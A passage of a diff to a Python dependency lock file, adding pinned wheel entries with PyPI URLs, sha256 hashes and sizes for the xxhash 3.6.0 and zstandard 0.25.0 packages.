"https://files.pythonhosted.org/packages/54/85/6ec269b0952ec7e36ba019125982cf11d91256a778c7c3f98a4c5043d283/xxhash-3.6.0-cp312-cp312-win_arm64.whl", hash = "sha256:eae5c13f3bc455a3bbb68bdc513912dc7356de7e2280363ea235f71f54064829", size = 27876, upload-time = "2025-10-02T14:34:54.371Z" }, + { url = "https://files.pythonhosted.org/packages/33/76/35d05267ac82f53ae9b0e554da7c5e281ee61f3cad44c743f0fcd354f211/xxhash-3.6.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:599e64ba7f67472481ceb6ee80fa3bd828fd61ba59fb11475572cc5ee52b89ec", size = 32738, upload-time = "2025-10-02T14:34:55.839Z" }, + { url = "https://files.pythonhosted.org/packages/31/a8/3fbce1cd96534a95e35d5120637bf29b0d7f5d8fa2f6374e31b4156dd419/xxhash-3.6.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:7d8b8aaa30fca4f16f0c84a5c8d7ddee0e25250ec2796c973775373257dde8f1", size = 30821, upload-time = "2025-10-02T14:34:57.219Z" }, + { url = "https://files.pythonhosted.org/packages/0c/ea/d387530ca7ecfa183cb358027f1833297c6ac6098223fd14f9782cd0015c/xxhash-3.6.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d597acf8506d6e7101a4a44a5e428977a51c0fadbbfd3c39650cca9253f6e5a6", size = 194127, upload-time = "2025-10-02T14:34:59.21Z" }, + { url = "https://files.pythonhosted.org/packages/ba/0c/71435dcb99874b09a43b8d7c54071e600a7481e42b3e3ce1eb5226a5711a/xxhash-3.6.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:858dc935963a33bc33490128edc1c12b0c14d9c7ebaa4e387a7869ecc4f3e263", size = 212975, upload-time = "2025-10-02T14:35:00.816Z" }, + { url = "https://files.pythonhosted.org/packages/84/7a/c2b3d071e4bb4a90b7057228a99b10d51744878f4a8a6dd643c8bd897620/xxhash-3.6.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ba284920194615cb8edf73bf52236ce2e1664ccd4a38fdb543506413529cc546", size = 212241, upload-time = "2025-10-02T14:35:02.207Z" }, + { url = "https://files.pythonhosted.org/packages/81/5f/640b6eac0128e215f177df99eadcd0f1b7c42c274ab6a394a05059694c5a/xxhash-3.6.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4b54219177f6c6674d5378bd862c6aedf64725f70dd29c472eaae154df1a2e89", size = 445471, upload-time = "2025-10-02T14:35:03.61Z" }, + { url = "https://files.pythonhosted.org/packages/5e/1e/3c3d3ef071b051cc3abbe3721ffb8365033a172613c04af2da89d5548a87/xxhash-3.6.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:42c36dd7dbad2f5238950c377fcbf6811b1cdb1c444fab447960030cea60504d", size = 193936, upload-time = "2025-10-02T14:35:05.013Z" }, + { url = "https://files.pythonhosted.org/packages/2c/bd/4a5f68381939219abfe1c22a9e3a5854a4f6f6f3c4983a87d255f21f2e5d/xxhash-3.6.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f22927652cba98c44639ffdc7aaf35828dccf679b10b31c4ad72a5b530a18eb7", size = 210440, upload-time = "2025-10-02T14:35:06.239Z" }, + { url = "https://files.pythonhosted.org/packages/eb/37/b80fe3d5cfb9faff01a02121a0f4d565eb7237e9e5fc66e73017e74dcd36/xxhash-3.6.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b45fad44d9c5c119e9c6fbf2e1c656a46dc68e280275007bbfd3d572b21426db", size = 197990, upload-time = "2025-10-02T14:35:07.735Z" }, + { url = "https://files.pythonhosted.org/packages/d7/fd/2c0a00c97b9e18f72e1f240ad4e8f8a90fd9d408289ba9c7c495ed7dc05c/xxhash-3.6.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:6f2580ffab1a8b68ef2b901cde7e55fa8da5e4be0977c68f78fc80f3c143de42", size = 210689, upload-time = "2025-10-02T14:35:09.438Z" }, + { url = "https://files.pythonhosted.org/packages/93/86/5dd8076a926b9a95db3206aba20d89a7fc14dd5aac16e5c4de4b56033140/xxhash-3.6.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:40c391dd3cd041ebc3ffe6f2c862f402e306eb571422e0aa918d8070ba31da11", size = 414068, upload-time = "2025-10-02T14:35:11.162Z" }, + { url = "https://files.pythonhosted.org/packages/af/3c/0bb129170ee8f3650f08e993baee550a09593462a5cddd8e44d0011102b1/xxhash-3.6.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:f205badabde7aafd1a31e8ca2a3e5a763107a71c397c4481d6a804eb5063d8bd", size = 191495, upload-time = "2025-10-02T14:35:12.971Z" }, + { url = "https://files.pythonhosted.org/packages/e9/3a/6797e0114c21d1725e2577508e24006fd7ff1d8c0c502d3b52e45c1771d8/xxhash-3.6.0-cp313-cp313-win32.whl", hash = "sha256:2577b276e060b73b73a53042ea5bd5203d3e6347ce0d09f98500f418a9fcf799", size = 30620, upload-time = "2025-10-02T14:35:14.129Z" }, + { url = "https://files.pythonhosted.org/packages/86/15/9bc32671e9a38b413a76d24722a2bf8784a132c043063a8f5152d390b0f9/xxhash-3.6.0-cp313-cp313-win_amd64.whl", hash = "sha256:757320d45d2fbcce8f30c42a6b2f47862967aea7bf458b9625b4bbe7ee390392", size = 31542, upload-time = "2025-10-02T14:35:15.21Z" }, + { url = "https://files.pythonhosted.org/packages/39/c5/cc01e4f6188656e56112d6a8e0dfe298a16934b8c47a247236549a3f7695/xxhash-3.6.0-cp313-cp313-win_arm64.whl", hash = "sha256:457b8f85dec5825eed7b69c11ae86834a018b8e3df5e77783c999663da2f96d6", size = 27880, upload-time = "2025-10-02T14:35:16.315Z" }, + { url = "https://files.pythonhosted.org/packages/f3/30/25e5321c8732759e930c555176d37e24ab84365482d257c3b16362235212/xxhash-3.6.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:a42e633d75cdad6d625434e3468126c73f13f7584545a9cf34e883aa1710e702", size = 32956, upload-time = "2025-10-02T14:35:17.413Z" }, + { url = "https://files.pythonhosted.org/packages/9f/3c/0573299560d7d9f8ab1838f1efc021a280b5ae5ae2e849034ef3dee18810/xxhash-3.6.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:568a6d743219e717b07b4e03b0a828ce593833e498c3b64752e0f5df6bfe84db", size = 31072, upload-time = "2025-10-02T14:35:18.844Z" }, + { url = "https://files.pythonhosted.org/packages/7a/1c/52d83a06e417cd9d4137722693424885cc9878249beb3a7c829e74bf7ce9/xxhash-3.6.0-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:bec91b562d8012dae276af8025a55811b875baace6af510412a5e58e3121bc54", size = 196409, upload-time = "2025-10-02T14:35:20.31Z" }, + { url = "https://files.pythonhosted.org/packages/e3/8e/c6d158d12a79bbd0b878f8355432075fc82759e356ab5a111463422a239b/xxhash-3.6.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:78e7f2f4c521c30ad5e786fdd6bae89d47a32672a80195467b5de0480aa97b1f", size = 215736, upload-time = "2025-10-02T14:35:21.616Z" }, + { url = "https://files.pythonhosted.org/packages/bc/68/c4c80614716345d55071a396cf03d06e34b5f4917a467faf43083c995155/xxhash-3.6.0-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:3ed0df1b11a79856df5ffcab572cbd6b9627034c1c748c5566fa79df9048a7c5", size = 214833, upload-time = "2025-10-02T14:35:23.32Z" }, + { url = "https://files.pythonhosted.org/packages/7e/e9/ae27c8ffec8b953efa84c7c4a6c6802c263d587b9fc0d6e7cea64e08c3af/xxhash-3.6.0-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0e4edbfc7d420925b0dd5e792478ed393d6e75ff8fc219a6546fb446b6a417b1", size = 448348, upload-time = "2025-10-02T14:35:25.111Z" }, + { url = "https://files.pythonhosted.org/packages/d7/6b/33e21afb1b5b3f46b74b6bd1913639066af218d704cc0941404ca717fc57/xxhash-3.6.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fba27a198363a7ef87f8c0f6b171ec36b674fe9053742c58dd7e3201c1ab30ee", size = 196070, upload-time = "2025-10-02T14:35:26.586Z" }, + { url = "https://files.pythonhosted.org/packages/96/b6/fcabd337bc5fa624e7203aa0fa7d0c49eed22f72e93229431752bddc83d9/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:794fe9145fe60191c6532fa95063765529770edcdd67b3d537793e8004cabbfd", size = 212907, upload-time = "2025-10-02T14:35:28.087Z" }, + { url = "https://files.pythonhosted.org/packages/4b/d3/9ee6160e644d660fcf176c5825e61411c7f62648728f69c79ba237250143/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:6105ef7e62b5ac73a837778efc331a591d8442f8ef5c7e102376506cb4ae2729", size = 200839, upload-time = "2025-10-02T14:35:29.857Z" }, + { url = "https://files.pythonhosted.org/packages/0d/98/e8de5baa5109394baf5118f5e72ab21a86387c4f89b0e77ef3e2f6b0327b/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:f01375c0e55395b814a679b3eea205db7919ac2af213f4a6682e01220e5fe292", size = 213304, upload-time = "2025-10-02T14:35:31.222Z" }, + { url = "https://files.pythonhosted.org/packages/7b/1d/71056535dec5c3177eeb53e38e3d367dd1d16e024e63b1cee208d572a033/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:d706dca2d24d834a4661619dcacf51a75c16d65985718d6a7d73c1eeeb903ddf", size = 416930, upload-time = "2025-10-02T14:35:32.517Z" }, + { url = "https://files.pythonhosted.org/packages/dc/6c/5cbde9de2cd967c322e651c65c543700b19e7ae3e0aae8ece3469bf9683d/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:5f059d9faeacd49c0215d66f4056e1326c80503f51a1532ca336a385edadd033", size = 193787, upload-time = "2025-10-02T14:35:33.827Z" }, + { url = "https://files.pythonhosted.org/packages/19/fa/0172e350361d61febcea941b0cc541d6e6c8d65d153e85f850a7b256ff8a/xxhash-3.6.0-cp313-cp313t-win32.whl", hash = "sha256:1244460adc3a9be84731d72b8e80625788e5815b68da3da8b83f78115a40a7ec", size = 30916, upload-time = "2025-10-02T14:35:35.107Z" }, + { url = "https://files.pythonhosted.org/packages/ad/e6/e8cf858a2b19d6d45820f072eff1bea413910592ff17157cabc5f1227a16/xxhash-3.6.0-cp313-cp313t-win_amd64.whl", hash = "sha256:b1e420ef35c503869c4064f4a2f2b08ad6431ab7b229a05cce39d74268bca6b8", size = 31799, upload-time = "2025-10-02T14:35:36.165Z" }, + { url = "https://files.pythonhosted.org/packages/56/15/064b197e855bfb7b343210e82490ae672f8bc7cdf3ddb02e92f64304ee8a/xxhash-3.6.0-cp313-cp313t-win_arm64.whl", hash = "sha256:ec44b73a4220623235f67a996c862049f375df3b1052d9899f40a6382c32d746", size = 28044, upload-time = "2025-10-02T14:35:37.195Z" }, + { url = "https://files.pythonhosted.org/packages/7e/5e/0138bc4484ea9b897864d59fce9be9086030825bc778b76cb5a33a906d37/xxhash-3.6.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:a40a3d35b204b7cc7643cbcf8c9976d818cb47befcfac8bbefec8038ac363f3e", size = 32754, upload-time = "2025-10-02T14:35:38.245Z" }, + { url = "https://files.pythonhosted.org/packages/18/d7/5dac2eb2ec75fd771957a13e5dda560efb2176d5203f39502a5fc571f899/xxhash-3.6.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a54844be970d3fc22630b32d515e79a90d0a3ddb2644d8d7402e3c4c8da61405", size = 30846, upload-time = "2025-10-02T14:35:39.6Z" }, + { url = "https://files.pythonhosted.org/packages/fe/71/8bc5be2bb00deb5682e92e8da955ebe5fa982da13a69da5a40a4c8db12fb/xxhash-3.6.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:016e9190af8f0a4e3741343777710e3d5717427f175adfdc3e72508f59e2a7f3", size = 194343, upload-time = "2025-10-02T14:35:40.69Z" }, + { url = "https://files.pythonhosted.org/packages/e7/3b/52badfb2aecec2c377ddf1ae75f55db3ba2d321c5e164f14461c90837ef3/xxhash-3.6.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4f6f72232f849eb9d0141e2ebe2677ece15adfd0fa599bc058aad83c714bb2c6", size = 213074, upload-time = "2025-10-02T14:35:42.29Z" }, + { url = "https://files.pythonhosted.org/packages/a2/2b/ae46b4e9b92e537fa30d03dbc19cdae57ed407e9c26d163895e968e3de85/xxhash-3.6.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:63275a8aba7865e44b1813d2177e0f5ea7eadad3dd063a21f7cf9afdc7054063", size = 212388, upload-time = "2025-10-02T14:35:43.929Z" }, + { url = "https://files.pythonhosted.org/packages/f5/80/49f88d3afc724b4ac7fbd664c8452d6db51b49915be48c6982659e0e7942/xxhash-3.6.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3cd01fa2aa00d8b017c97eb46b9a794fbdca53fc14f845f5a328c71254b0abb7", size = 445614, upload-time = "2025-10-02T14:35:45.216Z" }, + { url = "https://files.pythonhosted.org/packages/ed/ba/603ce3961e339413543d8cd44f21f2c80e2a7c5cfe692a7b1f2cccf58f3c/xxhash-3.6.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0226aa89035b62b6a86d3c68df4d7c1f47a342b8683da2b60cedcddb46c4d95b", size = 194024, upload-time = "2025-10-02T14:35:46.959Z" }, + { url = "https://files.pythonhosted.org/packages/78/d1/8e225ff7113bf81545cfdcd79eef124a7b7064a0bba53605ff39590b95c2/xxhash-3.6.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c6e193e9f56e4ca4923c61238cdaced324f0feac782544eb4c6d55ad5cc99ddd", size = 210541, upload-time = "2025-10-02T14:35:48.301Z" }, + { url = "https://files.pythonhosted.org/packages/6f/58/0f89d149f0bad89def1a8dd38feb50ccdeb643d9797ec84707091d4cb494/xxhash-3.6.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:9176dcaddf4ca963d4deb93866d739a343c01c969231dbe21680e13a5d1a5bf0", size = 198305, upload-time = "2025-10-02T14:35:49.584Z" }, + { url = "https://files.pythonhosted.org/packages/11/38/5eab81580703c4df93feb5f32ff8fa7fe1e2c51c1f183ee4e48d4bb9d3d7/xxhash-3.6.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:c1ce4009c97a752e682b897aa99aef84191077a9433eb237774689f14f8ec152", size = 210848, upload-time = "2025-10-02T14:35:50.877Z" }, + { url = "https://files.pythonhosted.org/packages/5e/6b/953dc4b05c3ce678abca756416e4c130d2382f877a9c30a20d08ee6a77c0/xxhash-3.6.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:8cb2f4f679b01513b7adbb9b1b2f0f9cdc31b70007eaf9d59d0878809f385b11", size = 414142, upload-time = "2025-10-02T14:35:52.15Z" }, + { url = "https://files.pythonhosted.org/packages/08/a9/238ec0d4e81a10eb5026d4a6972677cbc898ba6c8b9dbaec12ae001b1b35/xxhash-3.6.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:653a91d7c2ab54a92c19ccf43508b6a555440b9be1bc8be553376778be7f20b5", size = 191547, upload-time = "2025-10-02T14:35:53.547Z" }, + { url = "https://files.pythonhosted.org/packages/f1/ee/3cf8589e06c2164ac77c3bf0aa127012801128f1feebf2a079272da5737c/xxhash-3.6.0-cp314-cp314-win32.whl", hash = "sha256:a756fe893389483ee8c394d06b5ab765d96e68fbbfe6fde7aa17e11f5720559f", size = 31214, upload-time = "2025-10-02T14:35:54.746Z" }, + { url = "https://files.pythonhosted.org/packages/02/5d/a19552fbc6ad4cb54ff953c3908bbc095f4a921bc569433d791f755186f1/xxhash-3.6.0-cp314-cp314-win_amd64.whl", hash = "sha256:39be8e4e142550ef69629c9cd71b88c90e9a5db703fecbcf265546d9536ca4ad", size = 32290, upload-time = "2025-10-02T14:35:55.791Z" }, + { url = "https://files.pythonhosted.org/packages/b1/11/dafa0643bc30442c887b55baf8e73353a344ee89c1901b5a5c54a6c17d39/xxhash-3.6.0-cp314-cp314-win_arm64.whl", hash = "sha256:25915e6000338999236f1eb68a02a32c3275ac338628a7eaa5a269c401995679", size = 28795, upload-time = "2025-10-02T14:35:57.162Z" }, + { url = "https://files.pythonhosted.org/packages/2c/db/0e99732ed7f64182aef4a6fb145e1a295558deec2a746265dcdec12d191e/xxhash-3.6.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:c5294f596a9017ca5a3e3f8884c00b91ab2ad2933cf288f4923c3fd4346cf3d4", size = 32955, upload-time = "2025-10-02T14:35:58.267Z" }, + { url = "https://files.pythonhosted.org/packages/55/f4/2a7c3c68e564a099becfa44bb3d398810cc0ff6749b0d3cb8ccb93f23c14/xxhash-3.6.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1cf9dcc4ab9cff01dfbba78544297a3a01dafd60f3bde4e2bfd016cf7e4ddc67", size = 31072, upload-time = "2025-10-02T14:35:59.382Z" }, + { url = "https://files.pythonhosted.org/packages/c6/d9/72a29cddc7250e8a5819dad5d466facb5dc4c802ce120645630149127e73/xxhash-3.6.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:01262da8798422d0685f7cef03b2bd3f4f46511b02830861df548d7def4402ad", size = 196579, upload-time = "2025-10-02T14:36:00.838Z" }, + { url = "https://files.pythonhosted.org/packages/63/93/b21590e1e381040e2ca305a884d89e1c345b347404f7780f07f2cdd47ef4/xxhash-3.6.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:51a73fb7cb3a3ead9f7a8b583ffd9b8038e277cdb8cb87cf890e88b3456afa0b", size = 215854, upload-time = "2025-10-02T14:36:02.207Z" }, + { url = "https://files.pythonhosted.org/packages/ce/b8/edab8a7d4fa14e924b29be877d54155dcbd8b80be85ea00d2be3413a9ed4/xxhash-3.6.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b9c6df83594f7df8f7f708ce5ebeacfc69f72c9fbaaababf6cf4758eaada0c9b", size = 214965, upload-time = "2025-10-02T14:36:03.507Z" }, + { url = "https://files.pythonhosted.org/packages/27/67/dfa980ac7f0d509d54ea0d5a486d2bb4b80c3f1bb22b66e6a05d3efaf6c0/xxhash-3.6.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:627f0af069b0ea56f312fd5189001c24578868643203bca1abbc2c52d3a6f3ca", size = 448484, upload-time = "2025-10-02T14:36:04.828Z" }, + { url = "https://files.pythonhosted.org/packages/8c/63/8ffc2cc97e811c0ca5d00ab36604b3ea6f4254f20b7bc658ca825ce6c954/xxhash-3.6.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:aa912c62f842dfd013c5f21a642c9c10cd9f4c4e943e0af83618b4a404d9091a", size = 196162, upload-time = "2025-10-02T14:36:06.182Z" }, + { url = "https://files.pythonhosted.org/packages/4b/77/07f0e7a3edd11a6097e990f6e5b815b6592459cb16dae990d967693e6ea9/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:b465afd7909db30168ab62afe40b2fcf79eedc0b89a6c0ab3123515dc0df8b99", size = 213007, upload-time = "2025-10-02T14:36:07.733Z" }, + { url = "https://files.pythonhosted.org/packages/ae/d8/bc5fa0d152837117eb0bef6f83f956c509332ce133c91c63ce07ee7c4873/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:a881851cf38b0a70e7c4d3ce81fc7afd86fbc2a024f4cfb2a97cf49ce04b75d3", size = 200956, upload-time = "2025-10-02T14:36:09.106Z" }, + { url = "https://files.pythonhosted.org/packages/26/a5/d749334130de9411783873e9b98ecc46688dad5db64ca6e04b02acc8b473/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:9b3222c686a919a0f3253cfc12bb118b8b103506612253b5baeaac10d8027cf6", size = 213401, upload-time = "2025-10-02T14:36:10.585Z" }, + { url = "https://files.pythonhosted.org/packages/89/72/abed959c956a4bfc72b58c0384bb7940663c678127538634d896b1195c10/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:c5aa639bc113e9286137cec8fadc20e9cd732b2cc385c0b7fa673b84fc1f2a93", size = 417083, upload-time = "2025-10-02T14:36:12.276Z" }, + { url = "https://files.pythonhosted.org/packages/0c/b3/62fd2b586283b7d7d665fb98e266decadf31f058f1cf6c478741f68af0cb/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5c1343d49ac102799905e115aee590183c3921d475356cb24b4de29a4bc56518", size = 193913, upload-time = "2025-10-02T14:36:14.025Z" }, + { url = "https://files.pythonhosted.org/packages/9a/9a/c19c42c5b3f5a4aad748a6d5b4f23df3bed7ee5445accc65a0fb3ff03953/xxhash-3.6.0-cp314-cp314t-win32.whl", hash = "sha256:5851f033c3030dd95c086b4a36a2683c2ff4a799b23af60977188b057e467119", size = 31586, upload-time = "2025-10-02T14:36:15.603Z" }, + { url = "https://files.pythonhosted.org/packages/03/d6/4cc450345be9924fd5dc8c590ceda1db5b43a0a889587b0ae81a95511360/xxhash-3.6.0-cp314-cp314t-win_amd64.whl", hash = "sha256:0444e7967dac37569052d2409b00a8860c2135cff05502df4da80267d384849f", size = 32526, upload-time = "2025-10-02T14:36:16.708Z" }, + { url = "https://files.pythonhosted.org/packages/0f/c9/7243eb3f9eaabd1a88a5a5acadf06df2d83b100c62684b7425c6a11bcaa8/xxhash-3.6.0-cp314-cp314t-win_arm64.whl", hash = "sha256:bb79b1e63f6fd84ec778a4b1916dfe0a7c3fdb986c06addd5db3a0d413819d95", size = 28898, upload-time = "2025-10-02T14:36:17.843Z" }, + { url = "https://files.pythonhosted.org/packages/93/1e/8aec23647a34a249f62e2398c42955acd9b4c6ed5cf08cbea94dc46f78d2/xxhash-3.6.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0f7b7e2ec26c1666ad5fc9dbfa426a6a3367ceaf79db5dd76264659d509d73b0", size = 30662, upload-time = "2025-10-02T14:37:01.743Z" }, + { url = "https://files.pythonhosted.org/packages/b8/0b/b14510b38ba91caf43006209db846a696ceea6a847a0c9ba0a5b1adc53d6/xxhash-3.6.0-pp311-pypy311_pp73-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:5dc1e14d14fa0f5789ec29a7062004b5933964bb9b02aae6622b8f530dc40296", size = 41056, upload-time = "2025-10-02T14:37:02.879Z" }, + { url = "https://files.pythonhosted.org/packages/50/55/15a7b8a56590e66ccd374bbfa3f9ffc45b810886c8c3b614e3f90bd2367c/xxhash-3.6.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:881b47fc47e051b37d94d13e7455131054b56749b91b508b0907eb07900d1c13", size = 36251, upload-time = "2025-10-02T14:37:04.44Z" }, + { url = "https://files.pythonhosted.org/packages/62/b2/5ac99a041a29e58e95f907876b04f7067a0242cb85b5f39e726153981503/xxhash-3.6.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c6dc31591899f5e5666f04cc2e529e69b4072827085c1ef15294d91a004bc1bd", size = 32481, upload-time = "2025-10-02T14:37:05.869Z" }, + { url = "https://files.pythonhosted.org/packages/7b/d9/8d95e906764a386a3d3b596f3c68bb63687dfca806373509f51ce8eea81f/xxhash-3.6.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:15e0dac10eb9309508bfc41f7f9deaa7755c69e35af835db9cb10751adebc35d", size = 31565, upload-time = "2025-10-02T14:37:06.966Z" }, +] + +[[package]] +name = "zstandard" +version = "0.25.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fd/aa/3e0508d5a5dd96529cdc5a97011299056e14c6505b678fd58938792794b1/zstandard-0.25.0.tar.gz", hash = "sha256:7713e1179d162cf5c7906da876ec2ccb9c3a9dcbdffef0cc7f70c3667a205f0b", size = 711513, upload-time = "2025-09-14T22:15:54.002Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/56/7a/28efd1d371f1acd037ac64ed1c5e2b41514a6cc937dd6ab6a13ab9f0702f/zstandard-0.25.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e59fdc271772f6686e01e1b3b74537259800f57e24280be3f29c8a0deb1904dd", size = 795256, upload-time = "2025-09-14T22:15:56.415Z" }, + { url = "https://files.pythonhosted.org/packages/96/34/ef34ef77f1ee38fc8e4f9775217a613b452916e633c4f1d98f31db52c4a5/zstandard-0.25.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:4d441506e9b372386a5271c64125f72d5df6d2a8e8a2a45a0ae09b03cb781ef7", size = 640565, upload-time = "2025-09-14T22:15:58.177Z" }, + { url = "https://files.pythonhosted.org/packages/9d/1b/4fdb2c12eb58f31f28c4d28e8dc36611dd7205df8452e63f52fb6261d13e/zstandard-0.25.0-cp310-cp310-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:ab85470ab54c2cb96e176f40342d9ed41e58ca5733be6a893b730e7af9c40550", size = 5345306, upload-time = "2025-09-14T22:16:00.165Z" }, + { url = "https://files.pythonhosted.org/packages/73/28/a44bdece01bca027b079f0e00be3b6bd89a4df180071da59a3dd7381665b/zstandard-0.25.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:e05ab82ea7753354bb054b92e2f288afb750e6b439ff6ca78af52939ebbc476d", size = 5055561, upload-time = "2025-09-14T22:16:02.22Z" }, + { url = "https://files.pythonhosted.org/packages/e9/74/68341185a4f32b274e0fc3410d5ad0750497e1acc20bd0f5b5f64ce17785/zstandard-0.25.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:78228d8a6a1c177a96b94f7e2e8d012c55f9c760761980da16ae7546a15a8e9b", size = 5402214, upload-time = "2025-09-14T22:16:04.109Z" }, + { url = "https://files.pythonhosted.org/packages/8b/67/f92e64e748fd6aaffe01e2b75a083c0c4fd27abe1c8747fee4555fcee7dd/zstandard-0.25.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:2b6bd67528ee8b5c5f10255735abc21aa106931f0dbaf297c7be0c886353c3d0", size = 5449703, upload-time = "2025-09-14T22:16:06.312Z" }, + { url = "https://files.pythonhosted.org/packages/fd/e5/6d36f92a197c3c17729a2125e29c169f460538a7d939a27eaaa6dcfcba8e/zstandard-0.25.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4b6d83057e713ff235a12e73916b6d356e3084fd3d14ced499d84240f3eecee0", size = 5556583, upload-time = "2025-09-14T22:16:08.457Z" }, + { url = "https://files.pythonhosted.org/packages/d7/83/41939e60d8d7ebfe2b747be022d0806953799140a702b90ffe214d557638/zstandard-0.25.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:9174f4ed06f790a6869b41cba05b43eeb9a35f8993c4422ab853b705e8112bbd", size = 5045332, upload-time = "2025-09-14T22:16:10.444Z" }, + { url = "https://files.pythonhosted.org/packages/b3/87/d3ee185e3d1aa0133399893697ae91f221fda79deb61adbe998a7235c43f/zstandard-0.25.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:25f8f3cd45087d089aef5ba3848cd9efe3ad41163d3400862fb42f81a3a46701", size = 5572283, upload-time = "2025-09-14T22:16:12.128Z" }, + { url = "https://files.pythonhosted.org/packages/0a/1d/58635ae6104df96671076ac7d4ae7816838ce7debd94aecf83e30b7121b0/zstandard-0.25.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3756b3e9da9b83da1796f8809dd57cb024f838b9eeafde28f3cb472012797ac1", size = 4959754, upload-time = "2025-09-14T22:16:14.225Z" }, + { url = "https://files.pythonhosted.org/packages/75/d6/57e9cb0a9983e9a229dd8fd2e6e96593ef2aa82a3907188436f22b111ccd/zstandard-0.25.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:81dad8d145d8fd981b2962b686b2241d3a1ea07733e76a2f15435dfb7fb60150", size = 5266477, upload-time = "2025-09-14T22:16:16.343Z" }, + { url = 